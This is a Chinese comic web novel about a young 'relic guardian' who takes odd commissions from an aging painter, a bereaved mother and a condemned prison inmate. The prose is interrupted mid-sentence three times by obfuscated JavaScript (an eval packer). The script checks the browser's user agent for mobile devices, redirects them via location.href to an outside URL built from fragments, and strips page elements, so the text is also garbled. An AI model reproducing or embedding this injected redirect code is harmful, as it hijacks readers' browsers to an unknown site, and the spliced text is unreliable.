《遗物守护师》 1. 艺术家都是这么抽象的吗? 落雪日,骆一梵坐在工位沉思,不得其解。 一是,这世上这么会有【遗物守护师】这种傻逼职业??? 二是,我去,居然还真有傻逼来下委托单了!!! 还没等骆一梵反应过来,她就已经被司机带进了s城郊外一处豪宅内。 律师带她进了其中一间画室。 一进门,烟雾缭绕,全是二手烟的味道。 隔着浓浓的古巴雪茄烟云,骆一梵一眼就看到了坐在画室里的老头。 “这位老头,我好像在哪里见过。”骆一梵指着里面的老人说道。 律师狠狠地咳了两声,眼神示意她谨言慎行。 “老人家,你是要把遗产交给我吗?我骆一梵向你保证,一定会至死守护好你的棺材本的!”骆一梵眨巴着星星眼满脸期待。 律师两眼一黑,从牙缝里蹦出几个字“骆小姐,请好好看一遍委托单。” 骆一梵翻了翻单子,再看了看老头,一脸不可置信…… 单子上注明要守护的遗物有: 十个T存储空间的三级片硬盘及其备份; 50张全球珍藏版 A V 碟片; (老爷子真是老当益壮啊!) 300多封情书,累计字数达一百二十万字; (这是一个字一个字数出来的,还是你们老一辈拿作文纸写情书啊?) 五十瓶茅台酒; 三十支收藏版雪茄; 全国各大赌场的VIP金卡; ………… 骆一梵忍不住吐槽:“老爷爷,您这些东西,有什么要守护的必要吗?” “怎么没有,你信不信,只要我一死,我家里人肯定要把这些都丢垃圾桶里,在世间一个不留。”老人家开口说道。 早该仍了,骆一梵在心里吐槽道。 可她还是感觉怪怪的,总觉得这老头好面熟了,好像在哪里见过,不应该啊,自己就一社畜,没接触过什么有钱人啊! 律师在一旁:“高先生,这些小事您直接吩咐我就行了。” 高老爷子摆摆手:“唉,我死后,光是那笔遗产就够血雨腥风的了,我那几个不肖子孙肯定会咬死你,不打个十年官司是不罢休的。” “啊啊啊啊啊啊啊啊啊,我想起来了,你是国画大师高阳。” 老人和律师正讨论着遗产分割,突然后面传来一阵汽笛声,谁家水开了??? 律师瞥了她一眼:“骆小姐,请注意形象,您吓到先生了。” (我去,我才是被吓到的那个好吧。妈耶,电视上那个光风霁月,一身文人风骨,清雅自持的国画大师私下里居然是个猥琐老头。)骆一梵在心里吐槽道。 “十个T内存的三级片硬盘,还有备份,啊啊啊啊,塌房了,虽然塌的不是我的房子。” 高老爷子倒是一脸淡然:“骆姑娘,这里没有国画大师高阳,只有一个高阳酒徒,吃喝嫖赌样样都来。” “大师,您以前装得也太,道貌岸然了吧,您不应该画山水画,应该去《演员请就位》。” 高老爷子哈哈大笑:“小姑娘,很多事无可奈何,口说不出,这样吧,我偷偷告诉你,上个月,我的那幅《兰陵早春图》卖了‘一个小目标’。你懂我的意思吗?” 多少,多少,你说多少? 骆一梵的脑回路与常人不同,“高阳大师,你还活着你的画就能卖一个亿,那等你死了,岂不是天价了!” 高老爷子点了点头。 律师圆场道:“高先生说过,钱财乃身外之物,有一天,要将生命还给山水。” 罗一梵挎起一副猫脸,哼,经历过“一个小目标”的洗礼,我现在再信你们说的话我就是狗。 “高老爷子,您这么有钱,为什么要找我当遗物守护师啊?” “病重的那段时间,我在网上刷到了你的视频。” (老爷子,原来你也是个网瘾老头啊!) “你在上面说,曾在美术馆看过我画过的《牧江行旅图》,感觉特别美,一直神往,连毕业后存的第一笔钱都被用来买机票订民宿去阿拉木图找牧江了。” 骆一梵感慨:“是啊,花的可是我攒了三个月的小钱钱,非常宝贵的钱啊。” “骆姑娘,你在视频里说你在阿拉木图找了好久,都没有找到我画的那条牧江,你很失落。” “可不是嘛,阿拉木图又大又偏,冻死个人,当地人说的话我也听不懂,上哪能找到啊!真是白花钱了。啊啊啊,我的小钱钱,就这么打水漂了,好心疼啊。” “骆小姐,我知道你很失落,可是看了你的视频后,我也很失落,那个时候我病重,因为你,我每天要多吃一大把药。” (所以,这是要怪我喽???) “骆姑娘,我现在可以明确地告诉你,阿拉木图根本就没有牧江,我根本就没去过阿拉木图。” “不对啊,你不是在画尾题过字,说是XXXX年于阿拉木图所作。” “其实,那幅画是我在深圳的一个小工作室画的,那个工作室里既没有塞外风霜,更没有任何阳春白雪,只有老夫我的脚气。” “啊这,深圳是一个很丢人的城市吗?” “骆姑娘,艺术有时候要高高在上,高不可攀,才能卖得出好价钱。” “那深圳的牧江在哪啊?” “骆姑娘,你怎么还不明白,这世间从来都没有牧江,也没有兰陵,更没有溪山,我骗了大家。” “世间,从来都没有什么完美的世外桃源,更从未有过一个什么都不欠缺,方方面面都很美的地方。” “所以,你注定是找不到牧江的。” 骆一梵的三观已经不能用稀碎来形容了。 “骆姑娘,我已经二十年不画画了,画室里的这些画,你好好看看,上面的灰都比画布厚了。” 骆一梵从旁边的架子里抽出一幅画,一瞬间,角落里的两只蟑螂迅速爬了出去。 (我去,这些可都是一个小目标啊,这,小强们平时吃得还挺贵。) 时过境迁,如今骆一梵再也欣赏不了山水画作了,满脑子都是“一个亿啊,一个亿啊”,口水都差点流出来了。 “可有看出什么来?” “很美啊,超美的!”骆一梵痴痴地说。 高老爷子无奈:“骆姑娘,画布上的灰还没擦,乌漆嘛黑的,能看出啥玩意?” “我算什么东西啊!哪有资格评价啊?一个亿,抵得上我不吃不喝当一千两百多年牛马的工资了。”骆一梵哀嚎着。 高老爷子在心里快速地算了一下,叹了一口气: “你每个月天天工作才挣几千块?好可怜唉。” (大师,您不会说人话能不能别说。) 律师也向她投来了同情的目光。 (是吧,每月那三瓜两枣的工资根本不值得老娘付出一丁点情绪价值。) “蒋律师,将骆姑娘的委托费再加十万。”高老爷子淡淡道。 骆一梵都有点想跪下来磕头谢恩。 “老爷子,你需要我做什么,我一定做牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579580|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做马,绝无二话。” “遗物单子上的东西,都是我平时挚爱之物,我需要你在我葬礼上把它们放完,好酒好烟祭着,让老夫痛痛快快地下地府。” “什么?”骆一梵怀疑自己耳朵坏了。 蒋律补充道:“骆小姐,通俗地讲,葬礼上需要你出面将清单上的珍贵碟片循坏展映,硬盘的影片拷贝出来按列表播放在灵堂前,用雪茄上香,用茅台酒为祭,用那沓赌场VIP金卡为高先生垫棺作枕,唢呐喜乐,仰天大笑,以颂高先生不虚此生。” “你的意思是让我在您葬礼上放黄片,点雪茄,洒茅台,吹唢呐,还要把赌场的金卡塞你棺材里面?” 高老爷子点点头。 “大师,您今天是不是忘记吃药了啊!” “骆姑娘,老夫这一生从未向现在这般清醒。这也是老夫留给世人的最后一件艺术作品。” “放黄片,艺术?大师,为什么你说的每个字我都能听懂,但是合在一起我就懵了。” “骆小姐,其实是你给我的灵感,这最后一件作品自然由你来完成最为圆满。作品名就叫‘嘿,老夫就是老夫’。” 骆一梵有点为难:“可是,高阳大师,您想告诉大家您是什么样的人,为啥不直接展示您那些价值‘一个小目标’国画?” “我爱过那些画,也恨过那些画,它们让我的人生天翻地覆,地动山摇,直到最后才发现,我生命里的每一笔无非都是满纸荒唐言。” 蒋律师解释道:“高先生觉得人应该像人,回到人的本质。而非一个虚伪的,华美的画布。” 骆一梵有点懂高老爷子的意思了,可是,可是,在葬礼上放黄片,这她以后还要怎么见人啊! “不好意思,高阳大师,这个委托我接不了,太惊世骇俗了,我妈知道了肯定会把我给咔嚓了。” 高老爷子毫不意外:“骆姑娘,不要急着拒绝老夫,先考虑考虑,老夫过几天带你去一个地方,届时你再做决定也不迟。” 回到工位上,正巧老板过来找她。 “骆一梵,怎么一副心事重重的样子?在街上遇到变态啦?” 骆一梵摇了摇头,想了想,又点了点头。 “老板,我今天见了一个客户,是个老人家,可是他家里全是黄碟,很黄的那种,我就不敢接这个单子。” 老板一副无所谓的样子:“真没见过世面,哪个男的不看片,骆一梵,你记住了,十男十黄,十男九嫖。” “如果你到现在还不知道这个事实的话,就必须得反思一下以前谈恋爱的时候有没有真的关心过另一半,还是人家根本就不告诉你。” (所以,这又怪到我头上喽???)骆一梵心里极其无语。 虽然在心里已经将老板祖宗十八代都问候了十遍,但骆一梵依旧面带微笑,恭恭敬敬地答道: “没错,是我太无知了,我今后一定多多学习,查漏补缺。请问老板,您找我是有什么事情要交代吗?” 老板递给骆一梵一份委托单。 “这位客户想找一个【遗物整理师】整理她女儿的遗物,她要求必须是女生,我就向她推荐了你。” “骆一梵好好干,客户听到你是【遗物守护师】,还挺高兴的,看得出来,她对你期待很高。” “喳。”骆一梵委屈道。 (tmd,不是我的活也都推给我,还有没有天理了???) 老板去而复返,又叮嘱了她几句: “对了,你到客户那千万要注意言行,那个客户有点怪怪的。” 2. 没有最颠,只有更颠 晚上回到出租屋后,骆一梵煮了一包泡面,一边给妈妈打电话。 钱难挣,屎难吃,但是骆一梵从来都是报喜不报忧。 一二三,骆一梵,笑起来,不要让母上大人担忧!!! “妈妈,这个月我终于接到活了,有客户委托我去给她们的女儿做遗物守护师啦!” “真的吗?太好了,宝贝,这个活客户能给你多少钱啊?” “三千,超多的啊,算是一个大项目了。” “真棒,那她们家每个月都能死人吗?”妈妈一脸期待地问道。 “啊这,妈咪您现在怎么跟我老板一样,天天盼着死人啊。” “没有的事,妈妈只是希望你工作顺利,梵宝,钱够不够啊?” 骆一梵没有回答,倒是想起了白天拒绝的那个大单,苍天啊,我怎么会拒绝了那六十万的单子啊???我真是傻!!! “妈妈,跟你说个事,如果我说,我有一个朋友,他很爱看黄片,这人有问题吗?” 骆一梵妈妈在电话那边瞳孔地震,如临大敌,却努力平复心情,笑道:“哪有什么问题,看黄片咋啦!别乱花钱,你有啥想看的妈妈从网上给宝贝找免费的看。” “那他,二十年不工作,一心只想看h片,是不是大变态啊?” “怎么会呢?打个比方,黄片就像是年轻人爱吃的方便面一样,人有时饿了控制不住,会吃点方便面垫吧一下啦。有条件的人呢,他们饿了可能就会谈个恋爱啥的。” 骆一梵妈妈眉头紧皱,语气却十分温和:“妈妈觉得现阶段还是吃方便面好,不要被冲动冲昏头脑,因为谈恋爱挺有风险的,有时候会吃到佛跳墙,但有时候就会吃到屎。” “梵宝啊,谈恋爱一定要擦亮眼睛啊,宁缺毋滥,可千万别沾到屎啊。你要是有什么需求,妈妈给你寄点小玩具好吗?” 咕噜咕噜,咕噜咕噜,罗一梵最爱的鲜虾鱼板面早已煮好了。 但是此时,她俨然无法直视方便面了。 骆一梵气愤道:“妈妈,都说了是我一个朋友爱看h片,你怎么老以为是我啊,你看看,我刚煮好的泡面被你说得一口都吃不下了。” 妈妈诧异道:“啊,真不是你啊,不好意思啊,妈妈错怪你了。” 突然,骆一梵妈妈态度一百八十度大转弯,语气及其严肃: “梵宝,赶紧离你那个爱看h片的朋友远一点,社会上这种人都是大变态,看着人模狗样,谁知道心里有多龌龊,十有八九是个大色狼。” “我们梵宝要多和好人交朋友,千万别被一些坏朋友带坏了,你一个女孩子在S城,千万要注意安全啊。” “好了,我知道了妈妈。”挂了电话,骆一梵将微信上刚刚打好的一串字全部删除。 第二天,骆一梵早早地就来到了客户家。 一到门口,就听见里面传来激烈的争吵,吓得她都不敢摁门铃。 “是你女儿突然撞上来的,凭什么要让我儿子坐牢。” “你胡说八道什么?我女儿今年一整年都在家里备考,马上半个月后就准备上考场了,在家里安安静静,一心做题,怎么会想不开要往你儿子的车上去撞。” “就是她自己撞上去的,我儿子开车开得好好的,你女儿突然就跑到路中间,把我儿子也吓了一大跳。” “那条路上又没有监控,你儿子现在仗着死无对证来歪曲事实,别说拒绝和解了,我就算倾家荡产也要请最好的律师,让你儿子牢底坐穿。” 里面安静了好一阵子,突然有了什么动静,紧接着又传来一阵声嘶力竭的哭喊。 “夏旃妈妈,我跪下来求您了,求您放过我儿子吧!” “我儿子今年才二十多岁,事业也才刚刚起步,还没结婚呢。一旦坐牢,他这辈子就彻底完了。” “夏旃妈妈,你给个数,我就算砸锅卖铁,去偷,去抢,也一定给你凑够了,求您高抬贵手,绕了我们一家吧!” “你儿子多坐几年牢这辈子就毁了?那我女儿呢?我女儿也才二十多岁,在家里复习了那么久,就准备12月22号去考北大的研究生呢?” “钱,我要的你根本赔不起,我只要我女儿的命,我女儿学习成绩那么好,人又乖,又懂事,我连她出国读PhD的钱都准备好了,结果被你那个开车不长眼的儿子给毁了。” “我女儿大好的前途啊,她的人生刚刚开始,就这样结束了,我告诉你,只要我还活着一天,就永远不庭外和解。” 骆一梵听到里面不断传来歇斯底里的哭声,还有一阵一阵的磕头声。 (听这声音,铁打的头也扛不住这么磕啊!)骆一梵赶紧按下了门铃。 没一会儿,里面的人开门了,一位额头渗血的中年女人被赶了出来。 女主人问道:“你就是骆一梵吗?快进来吧。” 骆一梵一进门,就看见满屋的狼藉。 “吕阿姨,您好,我是寂生公司的遗物守护师骆一梵,请问我能帮你做些什么吗?” “骆小姐,你好,我想请你给我女儿的房间整理整理,我女儿成绩很好,每天什么都不做,一心只想学习,我想请你把她的房间整理成她还在的样子。” 骆一梵有点诧异:“抱歉,阿姨,我有点没理解您的意思?” “那个房间就是我们家最大的战场,她在那个房间里打过小升初,中考,高考的仗,甚至考研的仗都差一点就成功了,我想把那个房间好好守护下来,就彷佛她从未离开过,还一直呆在那里学习。” 骆一梵一脸懵地走进了那个房间,不到十秒,就急急忙忙跑出来了。 “吕阿姨,您看看,夏旃妹妹的房间很整洁啊,完全不用整理啊,这堪比近藤麻理惠的整理级别了,这,还需要整理吗?” 夏旃妈妈叹了口气:“那个房间她前一段时间整理过了,她说快考试了,想放松一段时间,就把屋子里里外外收拾一番,还要给我做一顿大餐,结果厨房鱼露吃完了,她拿着手机出门买,就再也没回来。” “吕阿姨,您节哀,夏旃一定是到天上做神了。”边说着,骆一梵给夏旃妈妈递上了纸巾。 夏旃妈妈擦了擦眼泪:“这几天,我去她房间,心里总是空落落的。这根本不像她平时的房间,太陌生了,我都不敢进去。” “那吕阿姨,您希望我把房间整理成她平时还在读书的样子,请问那是什么样子啊?” “就和你们备考一个样子,床上,桌子散落堆着试卷,错题集,历年卷还有各种打印的资料,垃圾桶里都是草稿纸,柜子上都是各种大部头的专业书,摆得乱乱的,墙上贴着各种考试倒计时,当日学习打卡表,第二天学习计划表。” 骆一梵有点沮丧地回到房间。偷偷打开手机,搜了一下考研考公人的书桌。 她如法炮制,将那两本黄色的考研政治书摊放在书桌上,又把折叠整齐的历年卷再次打乱摆在床头上。 将草稿本里计算过的稿纸撕下来,折得皱皱巴巴再丢进垃圾桶。 将书柜里摆放整齐的书全部拿出来,东摞一堆,西撂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579581|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沓…… 不知不觉,她就这么忙活了大半天。 当她准备好好打量这个房间,看看有什么遗漏的没? 一回头,突然发现整个房间全是试卷,考研辅导资料,错题本,各种写得厚厚的笔记本,一书柜的专业课大部头书…… 夏旃的房间,没有漂亮的衣服,没有可爱的玩偶,没有梳妆台,没有什么言情小说,没有追星的海报,没有零食,什么都没有…… 只有一眼望到头的各种考试资料和大部头专业书。 人怎么能终其一生都活在这样枯燥压抑的考试书中? 骆一梵心里有个声音:“我真的是在守护遗物吗?我这样做是不是再一次伤害了她?” “夏旃妹妹,如果你很痛苦,为什么不和妈妈说出来呢?” 骆一梵失魂落魄地走出了房间,低头躲避了夏旃妈妈期待的眼神。 夏旃妈妈却拉着骆一梵的手直接走进了房间。 骆一梵耳边不断传来一声声惊呼: “对,就是这样布置,是这样的。” “现在我感觉夏旃又回来了。” 骆一梵鼓起勇气问道:“吕阿姨,夏旃妹妹很喜欢考试做题吗?” “她喜欢的,她肯定喜欢的,我从小就告诉她了,这个社会,文凭即阶级,如果上学的时候不努力读书,将来就得狠狠地读社会这本大书,社会上的书只会更苦更累更难读。” “吕阿姨,您刚刚说感觉夏旃妹妹回来了?” “是啊,我们是母女心连心,刚刚一进这个房间我就感觉到她回来了,她的魂就在这些书里。” “她还在这里认真做题。”夏旃妈妈流着泪说道 骆一梵痛苦地闭上了眼睛。 回去的路上,大雪纷飞,骆一梵没有选择打车,她一个人孤单单地走在路上,眼泪尽成冰雪。 她给妈妈打了个电话。 “妈妈,我真的好爱你,好爱好爱你,妈妈,不管发生什么事,我都好爱你。” “宝宝,怎么啦?今天嘴咋这么甜啊?生活费不够了吗?直接跟妈妈说啊。” “妈妈,我是不是给你丢脸了,从小到大,学习不努力,考试也倒数,工作更是丢人,亲戚们肯定会笑掉大牙吧。” “哪有,我们梵宝最棒啦。人家考清华,咱们烤地瓜怎么了?又没吃他们家粮食,咱下辈子下下辈子还要一起烤地瓜,做母女。” “妈妈觉得梵宝能健康长大就已经很幸福了。” “妈妈,S城下雪了,好冷好孤单,好想哭。” “哭吧哭吧,妈妈在这陪着你。有什么事不开心找妈妈哭一场就好了。” “可我已经24岁了,还天天找妈妈哭鼻子,我是不是太妈宝女了。” “傻孩子,不管孩子多大年纪,真爱孩子的人还是会永远爱孩子的。” 母亲又一次给了骆一梵力量。 或许人本来就是支离破碎的东西,是母亲在一直在缝缝补补,从未放弃。 骆一梵走回了公司,打了个卡,突然手机里收到了一份新的委托单。 “好奇怪,居然是PDF版的。” 骆一梵划到最后一页,两眼一黑。 【本次委托费用:0元】 她又赶紧划到第一页,上面显示: 【委托人:梁修身】 【委托内容:保密,需面议】 【委托地址:S城兴田镇伏山监狱】 骆一梵一脸活人微死的样子,欲言又止,止言又欲…… 3. 伏山监狱 骆一梵当即一个电话就给老板拨过去了。 “老板,这份委托单是不是打错了,委托费怎么是0元啊?他是您亲戚吗?” “那份委托单是梁修身梁先生的,他是我们公司高级VIP客户,有三十年免单的权限。” “所以,我这个是要干白工了?” “怎么,有意见?” 骆一梵突然细思极恐,自己没来之前,公司只有一个业务:【遗物清理师】。 梁修身家里到底是死了多少人,才能升级成公司的高级VIP客户啊!!! “老板,我记得至少要开一百份遗物清理委托单才能升级为普通VIP客户,请问这位高级VIP客户家里是被诛九族了吗?” 老板沉默了一会儿,“梁先生以前是地下赌城的老板。” 骆一梵不敢再问下去了。 “骆一梵你给我们记住,生死面前,众生平等。不管客户是做什么的,只要开了单子,交了钱,我们就要好好完成客户的心愿。客户才是我们唯一的衣食父母。” “可是,老板,为什么客户地址是在伏山监狱啊,大客户是要被枪毙了吗?” “是,这份单子是他给他自己开的,不是以往的遗物清理单,而是他自己的遗物守护单,所以,骆一梵,这个活非你莫属。” 摇摇晃晃的公交车上,司机师傅喊了一句:“前面监狱有人要下车吗?” “有,有,师傅,我下。” 车厢里的人都齐刷刷盯向骆一梵,不约而同地离她远一点。 众人心说:“那个监狱可是国家司法部唯一直属的监狱,杀人犯都进不去啊,这小姑娘的家里人,是个狠人啊。” “里面关的人,落马之前可都是在叱诧风云只手遮天的大人物,兵败如山倒啊,权贵的子女如今也得跟俺们一起挤公交车了。” 骆一梵感觉到周围人热烈的目光,羞愧地低下头了,旋即又猛地抬起头来,像弹簧一样。 (不对啊,又不是我违法犯罪,我羞愧什么,凭什么?) 就这样,骆一梵始终高昂着头,傲气十足,雄赳赳,气昂昂地下了车。 众人一脸鄙夷:“贪官地头蛇走街上,脊梁骨都能被戳成筛子,你搁这装什么装?” 进了大名鼎鼎的伏山监狱,骆一梵感觉后背凉飕飕的。 妈耶,这监狱怎么修得跟教堂一样庄严肃穆,骆一梵都想跪下来磕几个响头:“求国家保佑,我骆一梵一辈子平平安安,永不进监狱,阿弥陀佛。” 在探视室等了大半天,两位穿着制服的狱警才将梁修身带进来。 出乎骆一梵意料,这个寸头的梁先生十分清瘦,脸上还有一道牙印,走路一瘸一拐的。 还没等骆一梵反应过来,梁修身拿起电话就劈头盖脸一顿骂: “这都多久了,怎么现在才过来,我可是你们公司的高级VIP客户,你们是干什么吃的,就这么对待你们的顾客上帝吗?” “梁先生,不好意思,不是我们不来,是您这监狱规格太高了,要提前预约,审核,探监还要找家属和社区开证明。” “这不,我刚进来的时候,包里装的奶油泡芙都被警察叔叔拿铁签子戳了个透心凉,生怕我往里面藏什么东西。” “别废话了,就五分钟时间,长话短说,我进去前借出去不少钱,到现在还老多兄弟都没还,你去给我要回来。” “欠条在我家里人那,你去找她们,她们就会给你。” 骆一梵心里咯噔了一下,一边感叹,果然有钱人(曾经)跟普通人不一样啊,这都死到临头了,还想着讨债。 难怪我骆一梵成为不了有钱人。 一边又忍不住担忧,我去,找那些大佬要债,真是拿着买白菜的钱去干卖白粉的事,别到时候死都不知道怎么死的。 “梁先生,那些老板非富即贵,我这种小虾米根本就见不到他们啊!”骆一梵推辞道。 “我家里有各种高档会所的VIP卡,你拿过去,很容易就能见到他们。” “不好意思,我的业务只负责遗物守护,这种尸山血海的事还是让我们老板亲自来做吧。” “欠条就是本VIP客户唯一要守的遗物,你尽力要,要不来的你就把欠条全带来见我。” “五分钟时间好像到了吧!”骆一梵试探道。 梁修身起身,撂下了一句话:“要账,不然老子做鬼也要缠死你。” 骆一梵离开监狱,赶紧呸呸呸了几口,什么玩意,冤有头债有主,找我一个弱女子算什么男人!!! 拿到欠条和那些大佬们的联系方式后,骆一梵每天就窝在工位上给大佬们发催债邮件。 打电话?NoNoNoNo,0元的委托费根本不够本小姐话费的。 (其实也怂啦,哪里敢打这些大人物的电话,我骆一梵还想多活几年!) 什么?上门堵着催债?那更是万万不可能的。 (现在是法制社会,怎么能上门逼债呢?) 几天后,骆一梵带着0元战绩再一次雄赳赳,气昂昂地踏进了伏山监狱。 委托费:0元; 要债结果:0元; 很公平啊,一分钱一分货,我骆一梵为什么要羞愧,这一次,我一定要先发制人,抢先把梁客户给骂一顿。 与上次不同,梁修身脸上又多了两个熊猫眼,嘴角也破了,他一拿起电话,就听见骆一梵的怒嚎。 “梁先生,要债真不是人干的事,我差点就没命了,他们太狠了,梁先生,你只管去做厉鬼吧!我要请个大法事镇得你永世不得超生。” 梁修身看着对面一沓欠条,不仅感叹道:“真是人走茶凉啊!眼看我梁某人起高楼,眼看我梁某人宴宾客,眼看我梁某人树倒猢狲散。” 这一次,攻守之势异也,骆一梵开始强势起来:“梁先生,就五分钟,别伤春悲秋了,赶紧说接下来该干什么?” “欠条都拿回来了吗?” “都在这了。” “一张不少?” “不少,我特意点过,一张不少。真是奇怪,又没有人来还钱,欠条怎么会少?” “好,这些欠条就放在你们公司了,你不是【遗物守护师】吗?那就给我好好守着这些欠条,我死后,不管我家人如何哀求,都不要给他们。” “为啥啊?他们不是你的家人吗?” “正因为是家人,才不能给。” 骆一梵摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579582|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“不明白。” (就一沓欠条,有啥好宝贝的!) “大厦将倾,一木难支,我死后,她们孤儿寡母的日子肯定不好过,等仅剩的那点钱一花光,她们肯定会拿这些欠条找我那些黑白两道上那些兄弟们讨债。” “欠债还钱,天经地义,梁夫人这么做也无可厚非啊!” “骆小姐,若是他们真想还,根本不用欠条,他们早就自觉还了,若不想还,我家人单枪匹马去要债,只怕,届时,等待她们的不是钞票,而是杀身之祸,斩草除根。” “这么吓人的吗?” “没人比我更懂我那些兄弟,他们已经没有人性可言了。我在的时候勉强还能镇得住他们。骆小姐,请你务必守好那些欠条,不要交给我家人。” “好,我答应你。” “我已是将死之人,就这点心愿了,多谢骆小姐。” “不用谢,小事一桩。” 梁修身叹了口气,有不甘,也有释怀:“与其让家里人讨债,不明不白地被黑白两道的人弄死,我还是宁愿她们流落街头,做个讨饭的穷鬼,至少,这辈子还算平平安安。” “梁先生的良苦用心,我一定会转达给您家人,想必,他们也会理解的。” “723号,五分钟到了。”狱警在门外催促。 “骆小姐,帮我带一句话给我大儿子,若是以后真去街头讨饭了,让他记得要到饭了,先给弟弟妹妹吃。” 梁修身放下电话,起身离开,没看一眼那沓欠条。 骆一梵在心里感叹:“我去,大佬就是大佬,这些欠条加起来都有几个亿了,居然说放下就放下了,说不要就不要了。” 随即,她突然反应过来,那之前逼我催债是拿我当猴耍吗? 骆一梵指着梁修身的背影骂骂咧咧,狂飙C语言。 回到公司后,骆一梵将那沓欠条放在了公司的书架上。 骆一梵进公司几个月总算是看明白了,公司哪个地方都会有人动,唯独书架上的那些心灵鸡汤没有人动,什么东西藏在书架上才是最安全的。 没多久,骆一梵接到了老板的电话,梁修身死了。 “判决不是还得几个月吗?” “在监狱放风晒太阳的时候吞沙自尽了。” 曾经风起云涌的赌城老板,最后居然选择吞沙自尽,骆一梵不免有些唏嘘。 晚上,她接到了高阳老爷子的电话,邀请她到自己的家乡—望屿,来一场环岛旅行。 海风将骆一梵吹得披头散发的,连高阳先生的轮椅险些都推不上去。 最窒息的还是,两个冰淇淋居然要七十元。 骆一梵和店主吵得不可开交。 “这也太宰客了,哈根达斯都没你这黑店卖得贵。” “你懂什么,我这是景区,你看,左边走五步就是[高阳故居纪念馆]” 骆一梵抬头一看,还真是,她低下头在高老爷子旁边耳语:“老爷子,您还没死呢?景区怎么就把纪念馆给你建好了,这也,太迫不及待了吧。” 高老爷子吃了口冰淇淋,附和道:“可不是吗!为了建这个纪念馆,前两年还把我从家里赶出来了,我住的好好的,非让我换个地方住。” 4. 望屿环岛旅行 骆一梵推着高阳老先生来到了[高阳故居纪念馆],结果被保安拦了下来。 “您好二位,纪念馆周二不开放,要不二位等明天周三再过来吧。” 骆一梵气不打一出来:“这可是高阳先生本尊,老先生回自己家还要看黄历吗?” 保安惊讶:“高阳先生,原来您还活着啊!” 骆一梵咬牙切齿:“老爷子几个月前还和莫语老师录综艺,《在海边读书》,你是断网了吗?” “莫语老师也还活着啊?” “莫老师刚过完七十大寿。” “抱歉,我说了不算,我打电话请示一下我们领导。” 高阳老先生叹了口气:“算了算了,骆姑娘,你推我去其他地方走走吧。” 走到一处大榕树旁,高阳老师很有触动。 “瞧瞧,那颗树还在啊,我小时候经常坐在树下看蚂蚁,一看就是一整天。” “骆姑娘,我还在那棵树下埋了许多许愿石,麻烦你把它们挖出来给我瞅瞅好吗?” 骆一梵回去找保安大叔借了他的电棍,开始刨土了。没一会,就挖出一大堆石头。石头上都刻的有字。 “班主任不得好死。” “数学老师王八蛋。” “望屿一中干你三代。” “高阳世界首富。” ………… 骆一梵一脸不解:“大师,这些就是您年轻的时候许的愿?” “记不太清了,我还以为我小时候的愿望是当官呢!” “大师,你怎么那么恨你的老师啊?” “因为那个时候他们总打我,提溜我耳朵,让我站黑板,写检讨,还三天两头让我停课几天。” “为啥啊?” “不外乎就是我数学考20多分,作弊总是被抓到,上课和同学对骂,下课和同学约架。” “这,说实话,大师您这些行为确实该打,没让您进少管所您就偷着乐吧!” “这还不够狠吗,我初一的时候,学校就让我退学了,说我烂泥扶不上墙。” “啊,那您当时怎么办?” “我被退学后,我父亲就带着我坐船离岛到市教育局,那个年代,教育局就一个两层小破楼,谁都能上去,我父亲直接找了教育局局长,每天都蹲他,然后趁他上厕所的时候堵着他。” “可怜天下父母心啊!”,有高阳这样的熊孩子,骆一梵在心里为他父母捏了把汗。 “教育局长被我父亲堵在厕所里,局长方便完,手都还没来得及洗,我父亲直接拉着他的手说望屿一中出大问题了,老师对学生完全是打压式教育,完全把学生当成了一个考试机器,一个螺丝钉,这哪里是教育,简直就是毁了孩子。” “我父亲还说,黄局长,你在电视上说了,‘教育是生命对生命的唤醒’,这些话,我们这些家长听了都很感动,可望屿一中怎么能就这样放弃了我儿子。” “黄局长,我知道我儿子散漫,但是只要再给他一次机会,正确引导他,他一定会是个好学生。” “我的天哪,大师,您父亲这算是恶人先告状啊!” “当时的教育局长也是这么觉得的,可是,他看了我父亲,一身的汗,年纪轻轻的,头发却白了不少,就心软了,给我们校长打了个电话,说要再给我一次机会。” “您父亲太伟大了。” “校长当时答应说再给这位高阳同学最后一次机会,然后叮嘱我这次可不能再作弊了,更不能骂人打架了,我也听了,努力做个好学生。” “那您最后怎么还是被退学了?” “我对天发誓,那段时间我真是老实了好一阵子。” “但学校里总有一些混世魔王,知道我还在留校查看期,老是故意整我,下课不是推我就是骂我,还说‘高阳,推你怎么了,孙子,有本事就来啊,咱们小树林决斗。’” “他们好坏啊,明知道那个时候您不能打架了,还故意挑衅您。不过,大师,您真就屁颠屁颠地去打啦?” “也不能这么说,去打架之前,我还特意去请示了班主任,我说,老师,这次是他们先欺负我,此仇不报,我就不姓高,这个架我不能不去打。” 